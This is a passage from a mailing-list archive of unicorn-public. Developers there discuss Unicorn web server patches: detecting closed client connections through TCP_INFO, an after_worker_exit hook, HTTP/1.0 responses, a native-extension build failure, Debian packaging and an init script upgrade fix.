> + raise Errno::EPIPE, "client closed connection".freeze,
> EMPTY_ARRAY if closed_state?(@@tcp_info.state)
(minor) I needed to wrap that line since I use gigantic fonts
(fixed up locally)
^ permalink raw reply related [relevance 3%]
* Re: [PATCH] check_client_connection: use tcp state on linux
@ 2017-02-28 21:12 3% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-02-28 21:12 UTC (permalink / raw)
To: Simon Eskildsen; +Cc: unicorn-public
Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
<snip>
> I would assume you would see TIME_WAIT and CLOSE. LAST_ACK_CLOSING it
> seems pretty unlikely to hit, but not impossible. As with CLOSING,
> I've included LAST_ACK_CLOSING for completeness.
Did you mean "LAST_ACK, and CLOSING"? (not joined by underscore)
Anyways, thanks for testing and adding
> <e@80x24.org> wrote:
> > Yep, we need to account for the UNIX socket case. I forget if
> > kgio even makes them different...
>
> I read the implementation and verified by dumping the class when
> testing on some test boxes. You are right—it's a simple Kgio::Socket
> object, not differentiating between Kgio::TCPSocket and
> Kgio::UnixSocket at the class level. Kgio only does this if they're
> explicitly passed to override the class returned from #try_accept.
> Unicorn doesn't do this.
>
> I've tried to find a way to determine the socket domain (INET vs.
> UNIX) on the socket object, but neither Ruby's Socket class nor Kgio
> seems to expose this. I'm not entirely sure what the simplest way to
> do this check would be. We could have the accept loop pass the correct
> class to #try_accept based on the listening socket that came back from
> #accept. If we passed the listening socket to #read after accept, we'd
> know.. but I don't like that the request knows about the listener
> either. Alternatively, we could expose the socket domain in Kgio, but
> that'll be problematic in the near-ish future as you've mentioned
> wanting to move away from Kgio as Ruby's IO library is at parity as
> per Ruby 2.4.
>
> What do you suggest pursuing here to check whether the client socket
> is a TCP socket?
I think passing the listening socket is the best way to go about
detecting whether a socket is INET or UNIX, for now.
You're right about kgio, I'd rather not make more changes to
kgio but we will still need it to for Ruby <2.2.x users.
And #read is an overloaded name, feel free to change it :)
> Below is a patch addressing the other concerns. I had to include
> require raindrops so the `defined?` check would do the right thing, as
> the only other file that requires Raindrops is the worker one which is
> loaded after http_request. I can change the load-order or require
> raindrops in lib/unicorn.rb if you prefer.
The require is fine. However we do not need a class variable,
below...
> # TODO: remove redundant names
> Unicorn.const_set(:HttpRequest, Unicorn::HttpParser)
> @@ -29,6 +30,7 @@ class Unicorn::HttpParser
> # 2.2+ optimizes hash assignments when used with literal string keys
> HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
> @@input_class = Unicorn::TeeInput
> + @@raindrops_tcp_info_defined = defined?(Raindrops::TCP_Info)
I prefer we avoid adding this cvar, instead...
> @@check_client_connection = false
>
> def self.input_class
> @@ -83,11 +85,7 @@ def read(socket)
> false until add_parse(socket.kgio_read!(16384))
> end
>
> - # detect if the socket is valid by writing a partial response:
> - if @@check_client_connection && headers?
> - self.response_start_sent = true
> - HTTP_RESPONSE_START.each { |c| socket.write(c) }
> - end
> + check_client_connection(socket) if @@check_client_connection
>
> e['rack.input'] = 0 == content_length ?
> NULL_IO : @@input_class.new(socket, self)
> @@ -108,4 +106,27 @@ def call
> def hijacked?
> env.include?('rack.hijack_io'.freeze)
> end
... we can have different methods defined:
if defined?(Raindrops::TCP_Info) # Linux, maybe FreeBSD
def check_client_connection(client, listener) # :nodoc:
...
end
else # portable version
def check_client_connection(client, listener) # :nodoc:
...
end
end
And eliminate the class variable entirely.
> +
> + private
I prefer to avoid marking methods as 'private' to ease any
ad-hoc unit testing which may come up. Instead, rely on :nodoc:
directives to discourage people from depending on it.
Thanks.
> + def check_client_connection(socket)
> + if @@raindrops_tcp_info_defined
> + tcp_info = Raindrops::TCP_Info.new(socket)
> + raise Errno::EPIPE, "client closed connection".freeze, [] if
> closed_state?(tcp_info.state)
> + elsif headers?
> + self.response_start_sent = true
> + HTTP_RESPONSE_START.each { |c| socket.write(c) }
> + end
> + end
> +
> + def closed_state?(state)
> + case state
> + when 1 # ESTABLISHED
> + false
> + when 6, 7, 8, 9, 11 # TIME_WAIT, CLOSE, CLOSE_WAIT, LAST_ACK, CLOSING
> + true
> + else
> + false
> + end
> + end
> end
closed_state? looks good to me, good call on short-circuiting
the common case of ESTABLISHED!
^ permalink raw reply [relevance 3%]
* check_client_connection using getsockopt(2)
@ 2017-02-22 12:02 3% Simon Eskildsen
0 siblings, 0 replies; 200+ results
From: Simon Eskildsen @ 2017-02-22 12:02 UTC (permalink / raw)
To: unicorn-public
Hello!
Almost five years ago Tom Burns contributed the patch in collaboration
with Eric that introduced the `check_client_connection` configuration
option. To summarize the patch, it was a solution to a problem we have
of rapid refreshes during sales where Unicorn would render a page 5
times if an eager customer refreshed Shopify 5 times, despite only
seeing one-rendering. This is a large amount of lost capacity. Four
of these connections would effectively be in a `CLOSE` state in the
backlog, get `accept(2)`ed and a response would be sent back only to
get an error that the client had closed its connection.
The patch solved this problem by instead of doing a single `write(2)`,
it would do a write of the generic HTTP version line, then jump into
the middleware stack and render the Rack response in a second write.
If the client had closed, the first `write(2)` of the HTTP version
header would usually throw an exception causing Unicorn to bail before
rendering the heavy Rack response. This saves a large amount of
capacity during spiky traffic.
A subsequent commit after testing by Eric revealed that:
> This only affects clients connecting over Unix domain sockets and TCP via loopback (127...*). It is unlikely to detect disconnects if the client is on a remote host (even on a fast LAN).
Thanks for that testing Eric. If we hadn't stumbled upon this in the
documentation proactively, this wouldn't have been easy to debug in
production.
In my testing, I can confirm Eric's tests. My testing essentially
consists of a snippet like the following to send rapid requests and
then closing the client. I've confirmed with Wireshark this is roughly
how popular browsers behave when refreshing fast on a slowly rendered
page:
100.times do |i|
client = TCPSocket.new("some-unicorn", 20_000)
client.write("GET /collections/#{rand(10000)}
HTTP/1.1\r\nHost:walrusser.myshopify.com\r\n\r\n")
client.close
end
This confirms Eric's comment that the existing
`check_client_connection` works perfectly on loopback, but as soon as
you put an actual network between the Unicorn and client—it's only
effective 20% of the time, even with `TCP_NODELAY`. I'm assuming, due
to buffering, even when disabling Nagle's. As we're changing our
architecture, we move from ngx (lb) -> ngx (host) -> unicorn to ngx
(lb) -> unicorn. That means this patch will no longer work for us.
I propose instead of the early `write(2)` hack, that we use
`getsockopt(2)` with the `TCP_INFO` flag and read the state of the
socket. If it's in `CLOSE_WAIT` or `CLOSE`, we kill the connection and
move on to the next.
https://github.com/torvalds/linux/blob/8fa3b6f9392bf6d90cb7b908e07bd90166639f0a/include/uapi/linux/tcp.h#L163
This is not going to be portable, but we can do this on only Linux
which I suspect is where most production deployments of Unicorn that
would benefit from this feature run. It's not useful in development
(which is likely more common to not be Linux). We could also introduce
it under a new configuration option if desired. In my testing, this
works to reject 100% of requests early when not on loopback.
The code is essentially:
def client_closed?
tcp_info = socket.getsockopt(Socket::SOL_TCP, Socket::TCP_INFO)
state = tcp_info.unpack("c")[0]
state == TCP_CLOSE || state == TCP_CLOSE_WAIT
end
This could be called at the top of `#process_client` in `http_server.rb`.
Would there be interest in this upstream? Any comments on this
proposed implementation? Currently, we're using a middleware with the
Rack hijack API, but this seems like it belongs at the webserver
level.
^ permalink raw reply [relevance 3%]
* Re: Patch: Add after_worker_exit configuration option
2017-02-21 20:15 3% ` Eric Wong
@ 2017-02-21 20:49 0% ` Jeremy Evans
0 siblings, 0 replies; 200+ results
From: Jeremy Evans @ 2017-02-21 20:49 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 02/21 08:15, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > On 02/21 07:43, Eric Wong wrote:
> > > Jeremy Evans <code@jeremyevans.net> wrote:
> > > > This option can be used to implement custom behavior for handling
> > > > worker exits. For example, let's say you have a specific request
> > > > that crashes a worker process, which you expect to be due to a
> > > > improperly programmed C extension. By modifying your worker to
> > > > save request related data in a temporary file and using this option,
> > > > you can get a record of what request is crashing the application,
> > > > which will make debugging easier.
> > > >
> > > > This is not a complete patch as it doesn't include tests, but
> > > > before writing tests I wanted to see if this is something you'd
> > > > consider including in unicorn.
> > >
> > > What advantage does this have over Ruby's builtin at_exit?
> >
> > at_exit is not called if the interpreter crashes:
> >
> > ruby -e 'at_exit{File.write('a.txt', 'a')}; Process.kill :SEGV, $$' 2>/dev/null
> > ([ -f a.txt ] && echo at_exit called) || echo at_exit not called
>
> Ah, thanks. I didn't read the code carefully, enough.
> The commit message and documentation should reflect that it's
> called in the master and not the worker.
>
> Anyways, this is probably OK since I can't think of a less
> intrusive or more generic (across all Rack servers) way of doing
> it. So I'm inclined to accept some version of this.
>
> > --- a/lib/unicorn/http_server.rb
> > +++ b/lib/unicorn/http_server.rb
> > @@ -14,7 +14,8 @@ class Unicorn::HttpServer
> > attr_accessor :app, :timeout, :worker_processes,
> > :before_fork, :after_fork, :before_exec,
> > :listener_opts, :preload_app,
> > - :orig_app, :config, :ready_pipe, :user
> > + :orig_app, :config, :ready_pipe, :user,
> > + :after_worker_exit
>
> I've been trying to reduce the method entry overhead across
> the board. Since this is a new field, can it be attr_writer
> solely for configurator?
>
> I don't think there's reader dependency other than below...
>
> > @@ -395,8 +396,7 @@ def reap_all_workers
> > proc_name 'master'
> > else
> > worker = @workers.delete(wpid) and worker.close rescue nil
> > - m = "reaped #{status.inspect} worker=#{worker.nr rescue 'unknown'}"
> > - status.success? ? logger.info(m) : logger.error(m)
> > + after_worker_exit.call(self, worker, status)
>
> Which can be made to access the ivar directly:
>
> @after_worker_exit.call(self, worker, status)
Here's a revised patch that should address the issues you identified:
From 91b95652e4bdb7fc9af77e9ac06ad7400faef796 Mon Sep 17 00:00:00 2001
From: Jeremy Evans <code@jeremyevans.net>
Date: Fri, 17 Feb 2017 16:12:33 -0800
Subject: [PATCH] Add after_worker_exit configuration option
This option is executed in the master process following all
worker process exits. It is most useful in the case where
the worker process crashes the ruby interpreter, as the worker
process may not be able to send error notifications
appropriately.
For example, let's say you have a specific request that crashes a
worker process, which you expect to be due to a improperly
programmed C extension. By modifying your worker to save request
related data in a temporary file and using this option, you can get
a record of what request is crashing the application, which will
make debugging easier.
Example:
after_worker_exit do |server, worker, status|
server.logger.info "worker #{status.success? ? 'exit' : 'crash'}: #{status}"
file = "request.#{status.pid}.txt"
if File.exist?(file)
do_something_with(File.read(file)) unless status.success?
File.delete(file)
end
end
---
lib/unicorn/configurator.rb | 21 +++++++++++++++++++++
lib/unicorn/http_server.rb | 4 ++--
2 files changed, 23 insertions(+), 2 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 3329c10..5bad925 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -41,6 +41,14 @@ class Unicorn::Configurator
:before_exec => lambda { |server|
server.logger.info("forked child re-executing...")
},
+ :after_worker_exit => lambda { |server, worker, status|
+ m = "reaped #{status.inspect} worker=#{worker.nr rescue 'unknown'}"
+ if status.success?
+ server.logger.info(m)
+ else
+ server.logger.error(m)
+ end
+ },
:pid => nil,
:preload_app => false,
:check_client_connection => false,
@@ -151,6 +159,19 @@ def after_fork(*args, &block)
set_hook(:after_fork, block_given? ? block : args[0])
end
+ # sets after_worker_exit hook to a given block. This block will be called
+ # by the master process after a worker exits:
+ #
+ # after_fork do |server,worker,status|
+ # # status is a Process::Status instance for the exited worker process
+ # unless status.success?
+ # server.logger.error("worker process failure: #{status.inspect}")
+ # end
+ # end
+ def after_worker_exit(*args, &block)
+ set_hook(:after_worker_exit, block_given? ? block : args[0], 3)
+ end
+
# sets before_fork got be a given Proc object. This Proc
# object will be called by the master process before forking
# each worker.
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 35bd100..c2086cb 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -15,6 +15,7 @@ class Unicorn::HttpServer
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
:orig_app, :config, :ready_pipe, :user
+ attr_writer :after_worker_exit
attr_reader :pid, :logger
include Unicorn::SocketHelper
@@ -395,8 +396,7 @@ def reap_all_workers
proc_name 'master'
else
worker = @workers.delete(wpid) and worker.close rescue nil
- m = "reaped #{status.inspect} worker=#{worker.nr rescue 'unknown'}"
- status.success? ? logger.info(m) : logger.error(m)
+ @after_worker_exit.call(self, worker, status)
end
rescue Errno::ECHILD
break
--
2.11.0
^ permalink raw reply related [relevance 0%]
* Re: Patch: Add after_worker_exit configuration option
@ 2017-02-21 20:15 3% ` Eric Wong
2017-02-21 20:49 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-02-21 20:15 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> On 02/21 07:43, Eric Wong wrote:
> > Jeremy Evans <code@jeremyevans.net> wrote:
> > > This option can be used to implement custom behavior for handling
> > > worker exits. For example, let's say you have a specific request
> > > that crashes a worker process, which you expect to be due to a
> > > improperly programmed C extension. By modifying your worker to
> > > save request related data in a temporary file and using this option,
> > > you can get a record of what request is crashing the application,
> > > which will make debugging easier.
> > >
> > > This is not a complete patch as it doesn't include tests, but
> > > before writing tests I wanted to see if this is something you'd
> > > consider including in unicorn.
> >
> > What advantage does this have over Ruby's builtin at_exit?
>
> at_exit is not called if the interpreter crashes:
>
> ruby -e 'at_exit{File.write('a.txt', 'a')}; Process.kill :SEGV, $$' 2>/dev/null
> ([ -f a.txt ] && echo at_exit called) || echo at_exit not called
Ah, thanks. I didn't read the code carefully, enough.
The commit message and documentation should reflect that it's
called in the master and not the worker.
Anyways, this is probably OK since I can't think of a less
intrusive or more generic (across all Rack servers) way of doing
it. So I'm inclined to accept some version of this.
> --- a/lib/unicorn/http_server.rb
> +++ b/lib/unicorn/http_server.rb
> @@ -14,7 +14,8 @@ class Unicorn::HttpServer
> attr_accessor :app, :timeout, :worker_processes,
> :before_fork, :after_fork, :before_exec,
> :listener_opts, :preload_app,
> - :orig_app, :config, :ready_pipe, :user
> + :orig_app, :config, :ready_pipe, :user,
> + :after_worker_exit
I've been trying to reduce the method entry overhead across
the board. Since this is a new field, can it be attr_writer
solely for configurator?
I don't think there's reader dependency other than below...
> @@ -395,8 +396,7 @@ def reap_all_workers
> proc_name 'master'
> else
> worker = @workers.delete(wpid) and worker.close rescue nil
> - m = "reaped #{status.inspect} worker=#{worker.nr rescue 'unknown'}"
> - status.success? ? logger.info(m) : logger.error(m)
> + after_worker_exit.call(self, worker, status)
Which can be made to access the ivar directly:
@after_worker_exit.call(self, worker, status)
^ permalink raw reply [relevance 3%]
* Re: Support for HTTP/1.0
2016-11-01 18:11 2% ` Eric Wong
@ 2016-11-11 7:07 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-11-11 7:07 UTC (permalink / raw)
To: Joe McIlvain; +Cc: unicorn-public
Eric Wong <e@80x24.org> wrote:
> Is this nginx->haproxy->unicorn or haproxy->nginx->unicorn?
>
> Are persistent connections from nginx->unicorn enabled?
> (I suggest keeping it disabled, the default as far as I recall)
>
> What else can you share about your nginx/haproxy version and
> configuration?
(out-of-order)
Ping? With my nginx (1.6.2 on Debian jessie) -> unicorn config on
I can confirm nginx is sending 1.0 requests to backends, which
ought to prevent Rack::Chunked from chunking, at least...
Haven't looked at haproxy in a while... :x
> Joe McIlvain <joe.eli.mac@gmail.com> wrote:
> > Sure enough, looking through the Unicorn source I see that the
> > "HTTP/1.1" protocol is hard-coded in the response writing logic:
> > https://github.com/defunkt/unicorn/blob/a72d2e7fbd13a6bfe64b79ae361c17ea568d4867/lib/unicorn/http_response.rb#L30
>
> Right, it's certainly faster to avoid having an extra hash
> lookup to get the correct string in the response.
There's also several places where we assume "HTTP/1.1"
that would involve deeper changes than merely taking
the version string: the wacky[1] check_client_connection
+ response_start_sent logic
So more work would be necessary to respond with HTTP/1.0...
But I've been thinking about ways to cleanup and micro-optimize
that a bit more, anyways...
[1] https://bogomips.org/unicorn-public/?q=s:%22combating+nginx+499%22
(weirdest. feature. ever.)
^ permalink raw reply [relevance 3%]
* Re: Build error of 5.1.0 due to RString
@ 2016-11-08 9:43 4% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-11-08 9:43 UTC (permalink / raw)
To: Olivier FAURAX; +Cc: unicorn-public
Olivier FAURAX <olivier.faurax@anyces.com> wrote:
> Thanks for the support!
>
> Here is the mkmf.log:
> $ cat ./vendor/bundle/ruby/2.1.0/extensions/x86_64-linux/2.1.0-static/unicorn-5.1.0/mkmf.log
No problem, trimming out irrelevant parts...
> have_func: checking for rb_str_set_len() in ruby.h... --------------------
> no
>
> "gcc -o conftest -I/opt/bitnami/ruby/include/ruby-2.1.0/x86_64-linux
> -I/opt/bitnami/ruby/include/ruby-2.1.0/ruby/backward
> -I/opt/bitnami/ruby/include/ruby-2.1.0 -I. -DAI_ADDRCONFIG=0
> -I/bitnami/megastack-linux-x64/output/sqlite/include
> -I/opt/bitnami/common/include -I/opt/bitnami/common/include/sasl
> -I/opt/bitnami/common/include -fPIC -I/opt/bitnami/common/include -fPIC
> -I/opt/bitnami/common/include -I/opt/bitnami/common/include -fPIC
> -I/bitnami/megastack-linux-x64/output/ImageMagick/include/ImageMagick
> -I/bitnami/megastack-linux-x64/output/ImageMagick/include/ImageMagick -O3
> conftest.c -L. -L/opt/bitnami/ruby/lib -Wl,-R/opt/bitnami/ruby/lib -L.
> -L/opt/bitnami/common/lib -L/opt/bitnami/common/lib
> -L/bitnami/megastack-linux-x64/output/sqlite/lib
> -L/bitnami/megastack-linux-x64/output/python/lib -L/opt/bitnami/common/lib
> -L/bitnami/megastack-linux-x64/output/ImageMagick/lib
> -L/bitnami/megastack-linux-x64/output/ImageMagick/lib -fstack-protector
> -rdynamic -Wl,-export-dynamic -m64 -Wl,-R -Wl,/opt/bitnami/ruby/lib
> -L/opt/bitnami/ruby/lib -lruby-static -lpthread -lrt -lgmp -ldl -lcrypt -lm
> -lc"
> /usr/bin/ld: /opt/bitnami/ruby/lib/libruby-static.a(string.o): unrecognized
> relocation (0x2a) in section `.text'
> /usr/bin/ld: final link failed: Bad value
> collect2: error: ld returned 1 exit status
As I suspected, something is wrong with the install or build
of Ruby itself (not unicorn).
Does Bitnami build your Ruby installation or do you build and
install Ruby in your local environment using Bitnami?
It could be they used a buggy version of binutils
(or you have a buggy version installed locally).
Can you ask the Bitnami folks for help?
Thanks.
[ Btw, with the '+' in your Subject: line, was it from following
the mailto: link on the https://bogomips.org/unicorn-public/
mail archive links?
The archive code might need to switch to %20 for escaping spaces... ]
^ permalink raw reply [relevance 4%]
* Build error of 5.1.0 due to RString
@ 2016-11-07 17:13 2% Olivier FAURAX
0 siblings, 0 replies; 200+ results
From: Olivier FAURAX @ 2016-11-07 17:13 UTC (permalink / raw)
To: unicorn-public
Hello,
I'm new to Ruby & Unicorn, and I get a build error trying to compile
unicorn 5.1.0.
It is about a RString that has not some members, so perhaps an API has
been modified somewhere.
I tried with unicorn 5.2.0, and I get the same error.
Thanks in advance
Olivier
$ uname -a
Linux git.example.com 3.16.0-76-generic #98~14.04.1-Ubuntu SMP Fri Jun
24 17:04:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$ ruby --version
ruby 2.1.9p490 (2016-03-30 revision 54437) [x86_64-linux]
$ gem install unicorn -v '5.1.0' -i vendor/bundle/ruby/2.1.0 --verbose
GET https://api.rubygems.org/specs.4.8.gz
200 OK
HEAD https://api.rubygems.org/api/v1/dependencies
200 OK
GET https://api.rubygems.org/api/v1/dependencies?gems=unicorn
200 OK
GET https://api.rubygems.org/api/v1/dependencies?gems=raindrops
200 OK
GET https://api.rubygems.org/api/v1/dependencies?gems=kgio
200 OK
/opt/bitnami/apps/gitlab/htdocs/vendor/bundle/ruby/2.1.0/gems/unicorn-5.1.0/.CHANGELOG.old
...
[long list of unicorn-5.1.0 files]
...
/opt/bitnami/apps/gitlab/htdocs/vendor/bundle/ruby/2.1.0/gems/unicorn-5.1.0/unicorn.gemspec
Building native extensions. This could take a while...
/opt/bitnami/ruby/bin/ruby extconf.rb
checking for SIZEOF_OFF_T in ruby.h... yes
checking for SIZEOF_SIZE_T in ruby.h... yes
checking for SIZEOF_LONG in ruby.h... yes
checking for rb_str_set_len() in ruby.h... no
checking for rb_hash_clear() in ruby.h... no
checking for gmtime_r() in time.h... yes
creating Makefile
make "DESTDIR=" clean
make "DESTDIR="
compiling httpdate.c
compiling unicorn_http.c
In file included from unicorn_http.rl:8:0:
ext_help.h: In function ‘rb_18_str_set_len’:
ext_help.h:18:15: error: ‘struct RString’ has no member named ‘len’
RSTRING(str)->len = len;
^
ext_help.h:19:15: error: ‘struct RString’ has no member named ‘ptr’
RSTRING(str)->ptr[len] = '\0';
^
make: *** [unicorn_http.o] Error 1
ERROR: Error installing unicorn:
ERROR: Failed to build gem native extension.
Building has failed. See above output for more information on the
failure.
make failed, exit code 2
Gem files will remain installed in
/opt/bitnami/apps/gitlab/htdocs/vendor/bundle/ruby/2.1.0/gems/unicorn-5.1.0
for inspection.
Results logged to
/opt/bitnami/apps/gitlab/htdocs/vendor/bundle/ruby/2.1.0/extensions/x86_64-linux/2.1.0-static/unicorn-5.1.0/gem_make.out
^ permalink raw reply [relevance 2%]
* Re: trying to update unicorn to 5.1, build failure: VERSION= must be specified
2016-10-28 0:23 6% ` trying to update unicorn to 5.1, build failure: VERSION= must be specified Eric Wong
@ 2016-11-03 15:46 6% ` Pirate Praveen
2017-03-23 23:34 16% ` [PATCH] gemspec: remove olddoc from build dependency Eric Wong
0 siblings, 1 reply; 200+ results
From: Pirate Praveen @ 2016-11-03 15:46 UTC (permalink / raw)
To: Eric Wong, Hleb Valoshka; +Cc: debian-ruby, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 889 bytes --]
On Friday 28 October 2016 05:53 AM, Eric Wong wrote:
> I understand olddoc may not be worth the effort to package in
> Debian. (I already tried to reduce dependencies in olddoc
> compared to wrongdoc, but a package is a package...)
>
> Anyways, I suggest you guys grab the generated gemspec from the
> Rubygem or tar.gz. You already seem to be doing that with NEWS
> and the manpages to avoid a build-dep on pandoc(*).
We are already using the rubygems.org .gem file and it has olddoc.
> Maybe the gemspec in git could have olddoc become optional, too,
> while still remaining DRY. The email address for the public
> mailing list is already specified in multiple places, so maybe
> over-DRY-ing isn't worth it...
If you can make it optional that would be great. For now I've just
patched out the gemspec to not use olddoc. The patch and fix in rules is
ugly.
[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 801 bytes --]
^ permalink raw reply [relevance 6%]
* Re: Support for HTTP/1.0
@ 2016-11-01 18:11 2% ` Eric Wong
2016-11-11 7:07 3% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-11-01 18:11 UTC (permalink / raw)
To: Joe McIlvain; +Cc: unicorn-public
Joe McIlvain <joe.eli.mac@gmail.com> wrote:
> We work on an IoT-oriented web service that uses Unicorn. One of our
> requirements is to support HTTP/1.0 for low-complexity devices.
>
> We've noticed that HTTP/1.0 requests to Unicorn always get HTTP/1.1
> responses, which is invalid behaviour for the HTTP/1.0 protocol.
>
> Sure enough, looking through the Unicorn source I see that the
> "HTTP/1.1" protocol is hard-coded in the response writing logic:
> https://github.com/defunkt/unicorn/blob/a72d2e7fbd13a6bfe64b79ae361c17ea568d4867/lib/unicorn/http_response.rb#L30
Right, it's certainly faster to avoid having an extra hash
lookup to get the correct string in the response.
Ruby performance ought to be better nowadays than it was when
the code was written, however; so maybe we can use up some
extra cycles in the interest of correctness.
> When behind our nginx/haproxy frontend, this behaviour is a little
> more sneaky. For "short" response payloads, the proxy will override
> the response and always (correctly) use HTTP/1.0. However, for "long"
> response payloads, the content encoding is "chunked" and the proxy
> will use "HTTP/1.1"
Interesting, that sounds like a bug or misconfiguration in nginx
or haproxy if it's giving chunked responses to 1.0 clients.
Is this nginx->haproxy->unicorn or haproxy->nginx->unicorn?
Are persistent connections from nginx->unicorn enabled?
(I suggest keeping it disabled, the default as far as I recall)
What else can you share about your nginx/haproxy version and
configuration?
> You can actually see this bug in action in the GitHub API (a prominent
> web service using Unicorn). If you send `curl -v --http1.0
> https://api.github.com/gists/public`, you will get an HTTP/1.1 chunked
> response, which an HTTP/1.0 client cannot handle.
I can't seem to reproduce the chunked response.
It says "HTTP/1.1", but it either has Content-Length set (if
requested w/o gzip) or just closes the connection if requested
with compression. Even with the Content-Length set, the
connection is still closed, so should be easily handled by
1.0 parsers.
> I've experimented with using puma instead of unicorn, and it behaves
> correctly in this respect (it responds to HTTP/1.0 requests with
> HTTP/1.0 responses). However we'd like to keep using unicorn if
> possible.
Puma was meant for real-world HTTP clients, whereas unicorn is
mainly designed to talk to nginx, so correctness was less of a
priority.
> Does Unicorn intend to support HTTP/1.0?
We can consider it; but this is the first I recall hearing about
this after all these years.
Can you please share more info about your nginx/haproxy so
we can poke around? The proxies should really be massaging
the response into something the client can handle...
Strangely, I remember going out of my way to support headerless
"HTTP/0.9" responses :>
Anyways thanks for bringing this up and I look forward
to having more info about your proxy setup.
^ permalink raw reply [relevance 2%]
* Re: trying to update unicorn to 5.1, build failure: VERSION= must be specified
[not found] ` <CAAB-Kcnwzc8Tcszv3FCPkyJRKRCsHRH6k_qBhKfBpSODxqKy5g@mail.gmail.com>
@ 2016-10-28 0:23 6% ` Eric Wong
2016-11-03 15:46 6% ` Pirate Praveen
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-10-28 0:23 UTC (permalink / raw)
To: Hleb Valoshka; +Cc: debian-ruby, Pirate Praveen, unicorn-public
Hleb Valoshka <375gnu@gmail.com> wrote:
> On 9/19/16, Pirate Praveen <praveen@onenetbeyond.org> wrote:
> > Its pushed to alioth. Can someone check?
> >
> > Error below:
> >
> > $ clean
> > dh clean --buildsystem=ruby --with ruby,systemd
> > dh_testdir -O--buildsystem=ruby
> > dh_auto_clean -O--buildsystem=ruby
> > dh_ruby --clean
> > dh_ruby --clean
> > VERSION= must be specified
> > dh_auto_clean: dh_ruby --clean returned exit code 1
> > debian/rules:6: recipe for target 'clean' failed
> > make: *** [clean] Error 1
>
> This is not the only problem, then you should have olddoc gem, I
> remember that I tried to fix these error, but I don't see my changes,
> maybe I did this on my home pc, I'll look there.
(oops, missed this earlier)
I understand olddoc may not be worth the effort to package in
Debian. (I already tried to reduce dependencies in olddoc
compared to wrongdoc, but a package is a package...)
Anyways, I suggest you guys grab the generated gemspec from the
Rubygem or tar.gz. You already seem to be doing that with NEWS
and the manpages to avoid a build-dep on pandoc(*).
Maybe the gemspec in git could have olddoc become optional, too,
while still remaining DRY. The email address for the public
mailing list is already specified in multiple places, so maybe
over-DRY-ing isn't worth it...
Anyways, feel free to email me + Cc: unicorn-public@bogomips.org
w.r.t. any packaging/integration issues for any Free Software
systems (not just Debian)
(*) - I'll be switching over to perlpod at some point and
pod2man is standard in Debian. I hate having to spend
~30MB of bandwidth fees to get ghc + pandoc to build
manpages.
^ permalink raw reply [relevance 6%]
* [PATCH] examples/init.sh: update to reduce upgrade raciness
2016-06-07 15:17 0% ` Jesper Rønn-Jensen
@ 2016-06-07 21:13 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-06-07 21:13 UTC (permalink / raw)
To: Jesper Rønn-Jensen; +Cc: unicorn-public
Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
> On Tue, Jun 7, 2016 at 3:41 PM, Eric Wong <e@80x24.org> wrote:
> > Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
> >> +++ b/examples/init.sh
> >> @@ -45,7 +45,7 @@ restart|reload)
> >> $CMD
> >> ;;
> >> upgrade)
> >> - if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
> >> + if sig USR2 && sleep 2 && sig 0
> >> then
> >> n=$TIMEOUT
> >> while test -s $old_pid && test $n -ge 0
> >> --
> >
> > I actually wrote a better init script for a similar server,
> > patch coming in a bit (or later, close to falling asleep).
>
> Thanks for input.
>
> I will close this issue and wait for your patch later, then.
Proposed patch below (for "git am --scissors" users)
I've pushed this out to the "jr/init" branch on the git repo
and you can download the blob directly, here:
https://bogomips.org/unicorn.git/plain/examples/init.sh?h=jr/init
Will rebase/amend this branch as necessary until merged into master.
> Will also close pull-request I put at github with reference to this thread.
Please do, thank you.
Their terms-of-service doesn't allow bots to auto-close and redirect
things; and I can't support any centralized messaging system.
> > Anyways if you stick to old-school Usenet/mailing list posting
> > conventions, I'm more than happy to help you :)
> PS. Thanks for tip on HTML vs Plain text mails. Didn't know Gmail
> could send plain text :)
I think the only problem with gmail I've heard was from mobile
phone app users. At least the git ML and LKML gets text-only
gmail posts all the time.
We old-school conventions mean we also trim our quotes and
avoid top-posting :)
------------8<----------------
Subject: [PATCH] examples/init.sh: update to reduce upgrade raciness
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Rework the "upgrade" target to only read the PID files once to
avoid misreading the wrong PID files in the middle of the
upgrade.
Additionally, introduce the UPGRADE_DELAY environment parameter
so users can increase/decrease according to their application
startup time.
PID files are inherently racy and people should be using a
process manager (systemd or similar) instead, but this should
mitigate most of the problems with the old target.
While we're at it, add LSB tags for systems which complain
about the lack of them and modernize things a bit using
$(command) construct instead of the more fragile `command`.
Thanks-to: Jesper Rønn-Jensen <jesperrr@gmail.com>
---
examples/init.sh | 44 ++++++++++++++++++++++++++++++++++++--------
1 file changed, 36 insertions(+), 8 deletions(-)
diff --git a/examples/init.sh b/examples/init.sh
index 1f0e035..4ef6cdc 100644
--- a/examples/init.sh
+++ b/examples/init.sh
@@ -1,7 +1,16 @@
#!/bin/sh
set -e
+### BEGIN INIT INFO
+# Provides: unicorn
+# Required-Start: $local_fs $network
+# Required-Stop: $local_fs $network
